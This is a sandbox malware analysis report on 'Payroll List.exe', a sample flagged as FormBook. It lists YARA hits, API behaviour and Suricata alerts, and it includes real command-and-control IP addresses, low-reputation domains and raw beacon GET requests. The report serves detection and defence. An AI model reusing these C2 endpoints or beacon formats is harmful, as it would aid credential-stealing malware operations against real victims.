Windows Analysis Report
Payroll List.exe

AI detected suspicious sample

Source: Yara match	File source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.1734177353.0000000003760000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1733855292.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3292196090.0000000002900000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3291497446.0000000000680000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3292524183.0000000004FB0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3291358467.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.3295460520.0000000005260000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1734536564.0000000005E00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: Payroll List.exe

Joe Sandbox ML: detected

Source: Payroll List.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: eLiCpwzRIeWAs.exe, 00000004.00000000.1656145013.000000000061E000.00000002.00000001.01000000.00000005.sdmp, eLiCpwzRIeWAs.exe, 00000007.00000002.3291434953.000000000061E000.00000002.00000001.01000000.00000005.sdmp
Source:	Binary string: wntdll.pdbUGP source: Payroll List.exe, 00000000.00000003.1434270538.0000000003770000.00000004.00001000.00020000.00000000.sdmp, Payroll List.exe, 00000000.00000003.1427600863.00000000035D0000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1639800247.0000000003500000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1734208595.0000000003A9E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1734208595.0000000003900000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1641453907.0000000003700000.00000004.00000020.00020000.00000000.sdmp, ktmutil.exe, 00000006.00000003.1744250358.0000000002BF6000.00000004.00000020.00020000.00000000.sdmp, ktmutil.exe, 00000006.00000002.3292514897.0000000002DA0000.00000040.00001000.00020000.00000000.sdmp, ktmutil.exe, 00000006.00000002.3292514897.0000000002F3E000.00000040.00001000.00020000.00000000.sdmp, ktmutil.exe, 00000006.00000003.1742406359.0000000002A44000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: Payroll List.exe, 00000000.00000003.1434270538.0000000003770000.00000004.00001000.00020000.00000000.sdmp, Payroll List.exe, 00000000.00000003.1427600863.00000000035D0000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000002.00000003.1639800247.0000000003500000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1734208595.0000000003A9E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1734208595.0000000003900000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1641453907.0000000003700000.00000004.00000020.00020000.00000000.sdmp, ktmutil.exe, ktmutil.exe, 00000006.00000003.1744250358.0000000002BF6000.00000004.00000020.00020000.00000000.sdmp, ktmutil.exe, 00000006.00000002.3292514897.0000000002DA0000.00000040.00001000.00020000.00000000.sdmp, ktmutil.exe, 00000006.00000002.3292514897.0000000002F3E000.00000040.00001000.00020000.00000000.sdmp, ktmutil.exe, 00000006.00000003.1742406359.0000000002A44000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ktmutil.pdbGCTL source: svchost.exe, 00000002.00000002.1734052024.0000000003219000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1734033314.0000000003200000.00000004.00000020.00020000.00000000.sdmp, eLiCpwzRIeWAs.exe, 00000004.00000002.3292022741.0000000001548000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ktmutil.pdb source: svchost.exe, 00000002.00000002.1734052024.0000000003219000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1734033314.0000000003200000.00000004.00000020.00020000.00000000.sdmp, eLiCpwzRIeWAs.exe, 00000004.00000002.3292022741.0000000001548000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: svchost.pdb source: ktmutil.exe, 00000006.00000002.3291580399.0000000002813000.00000004.00000020.00020000.00000000.sdmp, ktmutil.exe, 00000006.00000002.3293451407.00000000033CC000.00000004.10000000.00040000.00000000.sdmp, eLiCpwzRIeWAs.exe, 00000007.00000002.3292809726.0000000002E2C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000B.00000002.2045258675.00000000258CC000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: svchost.pdbUGP source: ktmutil.exe, 00000006.00000002.3291580399.0000000002813000.00000004.00000020.00020000.00000000.sdmp, ktmutil.exe, 00000006.00000002.3293451407.00000000033CC000.00000004.10000000.00040000.00000000.sdmp, eLiCpwzRIeWAs.exe, 00000007.00000002.3292809726.0000000002E2C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000B.00000002.2045258675.00000000258CC000.00000004.80000000.00040000.00000000.sdmp

Source: C:\Users\user\Desktop\Payroll List.exe	Code function: 0_2_00166CA9 GetFileAttributesW,FindFirstFileW,FindClose,	0_2_00166CA9
Source: C:\Users\user\Desktop\Payroll List.exe	Code function: 0_2_001660DD _wcscat,_wcscat,__wsplitpath,FindFirstFileW,DeleteFileW,_wcscpy,_wcscat,_wcscat,lstrcmpiW,DeleteFileW,MoveFileW,MoveFileW,CopyFileW,DeleteFileW,CopyFileW,FindNextFileW,FindClose,FindClose,	0_2_001660DD
Source: C:\Users\user\Desktop\Payroll List.exe	Code function: 0_2_001663F9 _wcscat,__wsplitpath,FindFirstFileW,_wcscpy,_wcscat,_wcscat,DeleteFileW,FindNextFileW,FindClose,	0_2_001663F9
Source: C:\Users\user\Desktop\Payroll List.exe	Code function: 0_2_0016EB60 FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	0_2_0016EB60
Source: C:\Users\user\Desktop\Payroll List.exe	Code function: 0_2_0016F56F FindFirstFileW,FindClose,	0_2_0016F56F
Source: C:\Users\user\Desktop\Payroll List.exe	Code function: 0_2_0016F5FA FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	0_2_0016F5FA
Source: C:\Users\user\Desktop\Payroll List.exe	Code function: 0_2_00171B2F SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00171B2F
Source: C:\Users\user\Desktop\Payroll List.exe	Code function: 0_2_00171C8A SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00171C8A
Source: C:\Users\user\Desktop\Payroll List.exe	Code function: 0_2_00171F94 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	0_2_00171F94
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_0041C810 FindFirstFileW,FindNextFileW,FindClose,	6_2_0041C810

Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 4x nop then xor eax, eax	6_2_00409F20
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 4x nop then pop edi	6_2_0040E50B
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 4x nop then mov ebx, 00000004h	6_2_02A404DF

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.8:49709 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.8:49712 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.8:49712 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.8:49718 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.8:49711 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.8:49707 -> 154.216.76.80:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.8:49707 -> 154.216.76.80:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.8:49720 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.8:49720 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.8:49717 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.8:49710 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.8:49724 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.8:49724 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.8:49726 -> 198.252.98.54:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.8:49729 -> 103.224.182.242:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.8:49738 -> 31.31.196.17:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.8:49722 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.8:49725 -> 198.252.98.54:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.8:49719 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.8:49734 -> 154.23.184.218:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.8:49728 -> 198.252.98.54:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.8:49732 -> 103.224.182.242:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.8:49732 -> 103.224.182.242:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.8:49735 -> 154.23.184.218:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.8:49728 -> 198.252.98.54:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.8:49716 -> 203.161.49.193:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.8:49716 -> 203.161.49.193:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.8:49721 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.8:49741 -> 64.190.63.222:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.8:49730 -> 103.224.182.242:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.8:49731 -> 103.224.182.242:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.8:49742 -> 64.190.63.222:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.8:49713 -> 203.161.49.193:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.8:49737 -> 31.31.196.17:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.8:49715 -> 203.161.49.193:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.8:49733 -> 154.23.184.218:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.8:49736 -> 154.23.184.218:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.8:49714 -> 203.161.49.193:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.8:49736 -> 154.23.184.218:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.8:49740 -> 31.31.196.17:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.8:49740 -> 31.31.196.17:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.8:49739 -> 31.31.196.17:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.8:49723 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.8:49727 -> 198.252.98.54:80

Performs DNS queries to domains with low reputation

Source:	DNS query: www.huiguang.xyz
Source:	DNS query: www.schedulemassage.xyz

Source: Joe Sandbox View	IP Address: 203.161.49.193 203.161.49.193
Source: Joe Sandbox View	IP Address: 31.31.196.17 31.31.196.17

Source: Joe Sandbox View

ASN Name: AS-REGRU AS-REGRU

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\Desktop\Payroll List.exe

Code function: 0_2_00174EB5 InternetReadFile,InternetQueryDataAvailable,InternetReadFile,

0_2_00174EB5

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKdate: Fri, 22 Nov 2024 13:46:22 GMTserver: Apacheset-cookie: __tad=1732283182.2614315; expires=Mon, 20-Nov-2034 13:46:22 GMT; Max-Age=315360000vary: Accept-Encodingcontent-encoding: gzipcontent-length: 576content-type: text/html; charset=UTF-8connection: closeData Raw: 1f 8b 08 00 00 00 00 00 00 03 8d 54 4d 6f db 30 0c 3d c7 bf 82 70 0f 76 d0 d5 4e 11 6c 03 12 cb 3b 0c 18 b0 61 87 a1 dd ce 83 22 d3 b1 12 5b f2 24 26 69 50 e4 bf 97 72 dc 8f 6d c0 3a 5d 6c 51 ef 91 ef d1 94 8b 86 ba b6 8c 8a 06 65 c5 0f d2 d4 62 b9 6d 6d b3 cd 08 55 53 e4 e7 48 54 78 e5 74 4f 40 c7 1e 45 4c 78 47 f9 46 ee e5 39 1a 83 77 4a c4 f9 c6 e7 b5 36 6b 74 bd d3 86 72 ad 6b cc 3a 6d b2 8d 8f cb 22 3f 63 5f 4b 55 46 7b e9 c0 61 a5 1d 2a fa d9 6a b3 05 01 49 43 d4 2f f2 fc 70 38 64 cf ea f2 79 37 c7 fc 43 b2 8c a2 3c 87 5b 24 90 40 ba 43 bb 23 b0 35 cc 67 33 e8 b4 72 d6 a3 b2 a6 f2 40 16 f0 0e d5 8e 90 81 8f 25 40 d7 40 0d c2 0b e5 d0 3b db 69 cf 31 a9 5b 0f b5 75 e0 6d 87 4c 91 de 9a a8 de 19 45 da 1a 3e 6e db 95 54 db 9b 31 55 3a 85 fb 68 72 d0 a6 b2 87 ac b5 4a 06 54 e6 b0 6f a5 c2 f4 37 4f 97 49 dd 8b ab f7 c9 74 19 9d a2 88 dc 31 30 59 a5 27 70 95 fb 3e 9a 10 e0 91 c6 4d fa 67 b5 37 c1 20 f3 27 a1 61 75 ff 6d d4 2c e0 d3 b3 93 2f b7 ac 43 56 e9 7d 67 8d 26 cb a1 f5 22 c8 f6 78 0a cc 27 56 34 99 64 dc 04 93 d6 3d 88 92 b3 65 6b 64 3b d3 a7 38 bf 4c 1c fa 5d 4b e1 fc 1e c2 7e 2c ec 82 ce 60 27 b9 3c 23 b2 bd f6 a1 d8 e7 6a 39 c0 54 8b f2 d1 52 fa ec 6e 7a 3e fd bf 76 85 32 03 21 e8 3e 01 63 55 93 a2 73 43 c7 ff fe 0e 43 57 5f 8e 1c 1d 79 8a 61 65 2b 6e 34 04 ec da d9 9d a9 16 17 d7 b3 6b 35 7f 07 27 60 f4 00 62 da 78 19 06 f4 6a ad 6c 6b 9d 88 2f ea 61 c5 10 26 96 b7 b3 61 f1 bc 16 95 de c3 c0 15 49 a5 3d ab 3f 2e c0 58 83 cb a4 2c 24 34 0e 6b f1 cf f9 0d 93 30 4f ca 8f ad 56 5b 68 d0 e1 30 a8 86 d0 15 b9 e4 8b c3 f9 b9 8a b1 a3 9b a2 43 e2 b4 9c f0 0a 7f ed f4 5e c4 5c 81 3b df c4 c0 03 44 4c 14 f1 6c 09 3f 6e be 8a d7 aa be 0d f7 f2 29 31 3b 0f 96 87 0e 84 bf c2 03 08 12 dd 79 1c 04 00 00 Data Ascii: TMo0=pvNl;a"[$&iPrm:]lQebmmUSHTxtO@ELxGF9wJ6ktrk:m"?c_KUF{a*jIC/p8dy7C<[$@C#5g3r@%@@;i1[umLE>nT1U:hrJTo7OIt10Y'p>Mg7 'aum,/CV}g&"x'V4d=ekd;8L]K~,`'<#j9TRnz>v2!>cUsCCW_yae+n4k5'`bxjlk/a&aI=?.X,$4k0OV[h0C^\;DLl?n)1;y
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKdate: Fri, 22 Nov 2024 13:46:24 GMTserver: Apacheset-cookie: __tad=1732283184.1678705; expires=Mon, 20-Nov-2034 13:46:24 GMT; Max-Age=315360000vary: Accept-Encodingcontent-encoding: gzipcontent-length: 576content-type: text/html; charset=UTF-8connection: closeData Raw: 1f 8b 08 00 00 00 00 00 00 03 8d 54 4d 6f db 30 0c 3d c7 bf 82 70 0f 76 d0 d5 4e 11 6c 03 12 cb 3b 0c 18 b0 61 87 a1 dd ce 83 22 d3 b1 12 5b f2 24 26 69 50 e4 bf 97 72 dc 8f 6d c0 3a 5d 6c 51 ef 91 ef d1 94 8b 86 ba b6 8c 8a 06 65 c5 0f d2 d4 62 b9 6d 6d b3 cd 08 55 53 e4 e7 48 54 78 e5 74 4f 40 c7 1e 45 4c 78 47 f9 46 ee e5 39 1a 83 77 4a c4 f9 c6 e7 b5 36 6b 74 bd d3 86 72 ad 6b cc 3a 6d b2 8d 8f cb 22 3f 63 5f 4b 55 46 7b e9 c0 61 a5 1d 2a fa d9 6a b3 05 01 49 43 d4 2f f2 fc 70 38 64 cf ea f2 79 37 c7 fc 43 b2 8c a2 3c 87 5b 24 90 40 ba 43 bb 23 b0 35 cc 67 33 e8 b4 72 d6 a3 b2 a6 f2 40 16 f0 0e d5 8e 90 81 8f 25 40 d7 40 0d c2 0b e5 d0 3b db 69 cf 31 a9 5b 0f b5 75 e0 6d 87 4c 91 de 9a a8 de 19 45 da 1a 3e 6e db 95 54 db 9b 31 55 3a 85 fb 68 72 d0 a6 b2 87 ac b5 4a 06 54 e6 b0 6f a5 c2 f4 37 4f 97 49 dd 8b ab f7 c9 74 19 9d a2 88 dc 31 30 59 a5 27 70 95 fb 3e 9a 10 e0 91 c6 4d fa 67 b5 37 c1 20 f3 27 a1 61 75 ff 6d d4 2c e0 d3 b3 93 2f b7 ac 43 56 e9 7d 67 8d 26 cb a1 f5 22 c8 f6 78 0a cc 27 56 34 99 64 dc 04 93 d6 3d 88 92 b3 65 6b 64 3b d3 a7 38 bf 4c 1c fa 5d 4b e1 fc 1e c2 7e 2c ec 82 ce 60 27 b9 3c 23 b2 bd f6 a1 d8 e7 6a 39 c0 54 8b f2 d1 52 fa ec 6e 7a 3e fd bf 76 85 32 03 21 e8 3e 01 63 55 93 a2 73 43 c7 ff fe 0e 43 57 5f 8e 1c 1d 79 8a 61 65 2b 6e 34 04 ec da d9 9d a9 16 17 d7 b3 6b 35 7f 07 27 60 f4 00 62 da 78 19 06 f4 6a ad 6c 6b 9d 88 2f ea 61 c5 10 26 96 b7 b3 61 f1 bc 16 95 de c3 c0 15 49 a5 3d ab 3f 2e c0 58 83 cb a4 2c 24 34 0e 6b f1 cf f9 0d 93 30 4f ca 8f ad 56 5b 68 d0 e1 30 a8 86 d0 15 b9 e4 8b c3 f9 b9 8a b1 a3 9b a2 43 e2 b4 9c f0 0a 7f ed f4 5e c4 5c 81 3b df c4 c0 03 44 4c 14 f1 6c 09 3f 6e be 8a d7 aa be 0d f7 f2 29 31 3b 0f 96 87 0e 84 bf c2 03 08 12 dd 79 1c 04 00 00 Data Ascii: TMo0=pvNl;a"[$&iPrm:]lQebmmUSHTxtO@ELxGF9wJ6ktrk:m"?c_KUF{a*jIC/p8dy7C<[$@C#5g3r@%@@;i1[umLE>nT1U:hrJTo7OIt10Y'p>Mg7 'aum,/CV}g&"x'V4d=ekd;8L]K~,`'<#j9TRnz>v2!>cUsCCW_yae+n4k5'`bxjlk/a&aI=?.X,$4k0OV[h0C^\;DLl?n)1;y
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKdate: Fri, 22 Nov 2024 13:46:27 GMTserver: Apacheset-cookie: __tad=1732283187.3556796; expires=Mon, 20-Nov-2034 13:46:27 GMT; Max-Age=315360000vary: Accept-Encodingcontent-encoding: gzipcontent-length: 576content-type: text/html; charset=UTF-8connection: closeData Raw: 1f 8b 08 00 00 00 00 00 00 03 8d 54 4d 6f db 30 0c 3d c7 bf 82 70 0f 76 d0 d5 4e 11 6c 03 12 cb 3b 0c 18 b0 61 87 a1 dd ce 83 22 d3 b1 12 5b f2 24 26 69 50 e4 bf 97 72 dc 8f 6d c0 3a 5d 6c 51 ef 91 ef d1 94 8b 86 ba b6 8c 8a 06 65 c5 0f d2 d4 62 b9 6d 6d b3 cd 08 55 53 e4 e7 48 54 78 e5 74 4f 40 c7 1e 45 4c 78 47 f9 46 ee e5 39 1a 83 77 4a c4 f9 c6 e7 b5 36 6b 74 bd d3 86 72 ad 6b cc 3a 6d b2 8d 8f cb 22 3f 63 5f 4b 55 46 7b e9 c0 61 a5 1d 2a fa d9 6a b3 05 01 49 43 d4 2f f2 fc 70 38 64 cf ea f2 79 37 c7 fc 43 b2 8c a2 3c 87 5b 24 90 40 ba 43 bb 23 b0 35 cc 67 33 e8 b4 72 d6 a3 b2 a6 f2 40 16 f0 0e d5 8e 90 81 8f 25 40 d7 40 0d c2 0b e5 d0 3b db 69 cf 31 a9 5b 0f b5 75 e0 6d 87 4c 91 de 9a a8 de 19 45 da 1a 3e 6e db 95 54 db 9b 31 55 3a 85 fb 68 72 d0 a6 b2 87 ac b5 4a 06 54 e6 b0 6f a5 c2 f4 37 4f 97 49 dd 8b ab f7 c9 74 19 9d a2 88 dc 31 30 59 a5 27 70 95 fb 3e 9a 10 e0 91 c6 4d fa 67 b5 37 c1 20 f3 27 a1 61 75 ff 6d d4 2c e0 d3 b3 93 2f b7 ac 43 56 e9 7d 67 8d 26 cb a1 f5 22 c8 f6 78 0a cc 27 56 34 99 64 dc 04 93 d6 3d 88 92 b3 65 6b 64 3b d3 a7 38 bf 4c 1c fa 5d 4b e1 fc 1e c2 7e 2c ec 82 ce 60 27 b9 3c 23 b2 bd f6 a1 d8 e7 6a 39 c0 54 8b f2 d1 52 fa ec 6e 7a 3e fd bf 76 85 32 03 21 e8 3e 01 63 55 93 a2 73 43 c7 ff fe 0e 43 57 5f 8e 1c 1d 79 8a 61 65 2b 6e 34 04 ec da d9 9d a9 16 17 d7 b3 6b 35 7f 07 27 60 f4 00 62 da 78 19 06 f4 6a ad 6c 6b 9d 88 2f ea 61 c5 10 26 96 b7 b3 61 f1 bc 16 95 de c3 c0 15 49 a5 3d ab 3f 2e c0 58 83 cb a4 2c 24 34 0e 6b f1 cf f9 0d 93 30 4f ca 8f ad 56 5b 68 d0 e1 30 a8 86 d0 15 b9 e4 8b c3 f9 b9 8a b1 a3 9b a2 43 e2 b4 9c f0 0a 7f ed f4 5e c4 5c 81 3b df c4 c0 03 44 4c 14 f1 6c 09 3f 6e be 8a d7 aa be 0d f7 f2 29 31 3b 0f 96 87 0e 84 bf c2 03 08 12 dd 79 1c 04 00 00 Data Ascii: TMo0=pvNl;a"[$&iPrm:]lQebmmUSHTxtO@ELxGF9wJ6ktrk:m"?c_KUF{a*jIC/p8dy7C<[$@C#5g3r@%@@;i1[umLE>nT1U:hrJTo7OIt10Y'p>Mg7 'aum,/CV}g&"x'V4d=ekd;8L]K~,`'<#j9TRnz>v2!>cUsCCW_yae+n4k5'`bxjlk/a&aI=?.X,$4k0OV[h0C^\;DLl?n)1;y

Source: global traffic	HTTP traffic detected: GET /hv6g/?NjHpTfh=vSitAQgQO9xnWjtJgvvZZsk+23T/NzOm/sAr3nzbW6mT0FGB0/NYbIaPlj7BCWSFPaPgTx5lzENVl3g1chzGP8KkEC54eipAN6+u9bqO0oPPtGBbKuyofNdvdufJOx9cYQ==&1fo=GF14svyhH44dt HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.huiguang.xyzConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A3-A10 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /79tr/?NjHpTfh=vB4016rwfH0MxtawL3zGYGaXYsIh8iPne8uh+mnoHReWloNmM7dp4Fgr6wtK7PtcWtNvsE0Cpt3tQWtVQrZP8CAmIyANUKvAf3+5N6bOzfwLz/Gtq1ZNC0AtH/TFhPdx4Q==&1fo=GF14svyhH44dt HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.beingandbecoming.ltdConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A3-A10 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36
